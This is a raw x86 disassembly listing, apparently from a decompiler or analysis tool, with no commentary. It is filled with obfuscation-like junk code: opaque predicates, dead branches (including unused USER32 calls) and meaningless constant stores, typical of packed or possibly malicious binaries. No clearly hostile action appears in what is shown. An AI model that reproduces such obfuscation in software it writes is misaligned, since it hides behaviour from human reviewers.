call fcn.00450a6d
pop ecx
pop ecx
mov ecx, eax
call fcn.0040260f
push eax
call fcn.0047e255
pop ecx
lea ecx, [ebp - 0x2894]
call fcn.004023fc
jmp 0x468929
jmp 0x468907
and dword [ebp - 0x798], 0
jmp 0x4689ac
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 0x17fa
jge 0x4689f8
mov eax, dword [ebp - 0x458]
cdq
idiv dword [ebp - 0x630]
mov eax, dword [ebp - 0x460]
and eax, dword [ebp - 0x798]
or eax, edx
cdq
mov dword [ebp - 0x1ae8], eax
mov dword [ebp - 0x1ae4], edx
push dword [ebp - 0x1ae4]
push dword [ebp - 0x1ae8]
mov ecx, 0xab1de0
call fcn.004795b6
jmp 0x46899f
mov dword [ebp - 4], 4
cmp dword [ebp - 0xb54], 0x4714
jge 0x468a17
push dword [ebp - 0x1e74]
call fcn.0047e255
pop ecx
jmp 0x468a33
or dword [ebp - 4], 0xffffffff
jmp 0x468a3d
jmp 0x4688bd
mov dword [ebp - 4], 6
cmp dword [ebp - 0x1644], 0x2a52
jge 0x468a65
mov edx, dword [ebp - 0x1e7c]
mov ecx, 0xab1de0
call fcn.0047aa64
jmp 0x468a81
or dword [ebp - 4], 0xffffffff
jmp 0x468a8b
jmp 0x4687fe
mov dword [ebp - 4], 8
cmp dword [ebp - 0xb5c], 0x2914
jge 0x468aaf
push dword [ebp - 0x1e84]
call fcn.0047e255
pop ecx
jmp 0x468acb
or dword [ebp - 4], 0xffffffff
jmp 0x468ad5
jmp 0x468708
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x164c], 0x3ef7
jge 0x468af9
push dword [ebp - 0x1e8c]
call fcn.0047e255
pop ecx
jmp 0x468b15
or dword [ebp - 4], 0xffffffff
jmp 0x468b1f
mov dword [ebp - 0x148], 0x13638ecf
mov dword [ebp - 0x1d8], 1
mov dword [ebp - 0x468], 0
jmp 0x468b4c
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 4
jge 0x468b68
mov eax, dword [ebp - 0x468]
mov dword [ebp + eax*4 - 0x2a0c], 0x4ef66b17
jmp 0x468b3f
cmp dword [ebp - 0x148], 0
je 0x468b86
cmp dword [ebp - 0x148], 0
je 0x468b86
mov dword [ebp - 0xb64], 1
jmp 0x468b8d
and dword [ebp - 0xb64], 0
mov eax, dword [ebp - 0x148]
sub eax, dword [ebp - 0xb64]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x148], eax
jl 0x468bb9
mov dword [ebp - 0x1e28], 1
jmp 0x468bc0
and dword [ebp - 0x1e28], 0
mov eax, dword [ebp - 0x1d8]
imul eax, dword [ebp - 0x148]
test eax, eax
je 0x468be2
xor eax, eax
inc eax
je 0x468be2
mov dword [ebp - 0x1654], 1
jmp 0x468be9
and dword [ebp - 0x1654], 0
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x1654], eax
jl 0x468c03
mov dword [ebp - 0x1a64], 1
jmp 0x468c0a
and dword [ebp - 0x1a64], 0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x2294], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x1d8], 0
jmp 0x468c3b
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 3
jg 0x468c65
mov byte [ebp - 0x23a], 0
movzx eax, byte [ebp - 0x23a]
test eax, eax
je 0x468c63
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
jmp 0x468c2e
xor ecx, ecx
call fcn.00428ebb
push eax
call fcn.0047df83
pop ecx
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0xb6c], 0x701c
jge 0x468c96
mov edx, dword [ebp - 0x1944]
mov ecx, 0xab1de0
call fcn.0047aa64
jmp 0x468cb2
or dword [ebp - 4], 0xffffffff
jmp 0x468cbc
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x3c4], 0
mov dword [ebp - 0x1e0], 0xc8d4675
mov dword [ebp - 0xac], 0xec7e4343
push 2
lea ecx, [ebp - 0x804]
call fcn.00428b50
mov dword [ebp - 0x34c], 0xd10caad9
mov dword [ebp - 0x84], 0x9d0863e8
mov dword [ebp - 0x884], 0xa5a14e9c
mov dword [ebp - 0xbdc], 0xfffffff7
mov dword [ebp - 0x88c], 0x36808710
mov dword [ebp - 0x229c], 1
mov dword [ebp - 0x638], 0
jmp 0x468d46
mov eax, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 2
jge 0x468d68
push dword [ebp - 0x638]
lea ecx, [ebp - 0x804]
call fcn.00428c3e
mov dword [eax], 0x920a6ff6
jmp 0x468d39
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x34c], eax
push 1
lea ecx, [ebp - 0x804]
call fcn.00428c3e
cmp dword [eax], 0
je 0x468da8
cmp dword [ebp - 0x1e8], 0
jb 0x468da8
mov dword [ebp - 0x165c], 1
jmp 0x468daf
and dword [ebp - 0x165c], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x165c], eax
jge 0x468dc9
mov dword [ebp - 0xb74], 1
jmp 0x468dd0
and dword [ebp - 0xb74], 0
push 0
lea ecx, [ebp - 0x804]
call fcn.00428c3e
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb74]
lea eax, [ecx + eax + 6]
cmp eax, dword [ebp - 0x1e0]
je 0x468dfd
mov dword [ebp - 0x1664], 1
jmp 0x468e04
and dword [ebp - 0x1664], 0
push 0
lea ecx, [ebp - 0x804]
call fcn.00428c3e
mov ecx, dword [ebp - 0x1664]
sub ecx, dword [eax]
mov dword [ebp - 0xac], ecx
cmp dword [ebp - 0xac], 0x45c17473
jg 0x468e37
mov dword [ebp - 0x18f8], 1
jmp 0x468e3e
and dword [ebp - 0x18f8], 0
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x22a4], eax
cmp dword [ebp - 0x1e0], 0xfae3
jle 0x468e62
mov dword [ebp - 0xb7c], 1
jmp 0x468e69
and dword [ebp - 0xb7c], 0
cmp dword [ebp - 0xb7c], 0x98a97d63
je 0x468e81
mov dword [ebp - 0x166c], 1
jmp 0x468e88
and dword [ebp - 0x166c], 0
cmp dword [ebp - 0x166c], 0xe9a03a1b
jb 0x468ea0
mov dword [ebp - 0xb84], 1
jmp 0x468ea7
and dword [ebp - 0xb84], 0
cmp dword [ebp - 0xb84], 0x71f8b108
jg 0x468ebf
mov dword [ebp - 0x1674], 1
jmp 0x468ec6
and dword [ebp - 0x1674], 0
cmp dword [ebp - 0x1674], 0xffff
jae 0x468ede
mov dword [ebp - 0xb8c], 1
jmp 0x468ee5
and dword [ebp - 0xb8c], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0xb8c], eax
jl 0x468eff
mov dword [ebp - 0x167c], 1
jmp 0x468f06
and dword [ebp - 0x167c], 0
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0x167c], eax
je 0x468f20
mov dword [ebp - 0xb94], 1
jmp 0x468f27
and dword [ebp - 0xb94], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0xb94], eax
jne 0x468f41
mov dword [ebp - 0x1684], 1
jmp 0x468f48
and dword [ebp - 0x1684], 0
mov eax, dword [ebp - 0x1684]
mov dword [ebp - 0x1e0], eax
mov esi, dword [ebp - 0x1e0]
push 1
lea ecx, [ebp - 0x804]
call fcn.00428c3e
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x804]
call fcn.00428c3e
cmp esi, dword [eax]
je 0x468f86
mov dword [ebp - 0xb9c], 1
jmp 0x468f8d
and dword [ebp - 0xb9c], 0
cmp dword [ebp - 0xb9c], 0x15b38d6a
jne 0x468fa5
mov dword [ebp - 0x16bc], 1
jmp 0x468fac
and dword [ebp - 0x16bc], 0
cmp dword [ebp - 0x16bc], 0x3b76
je 0x468fc4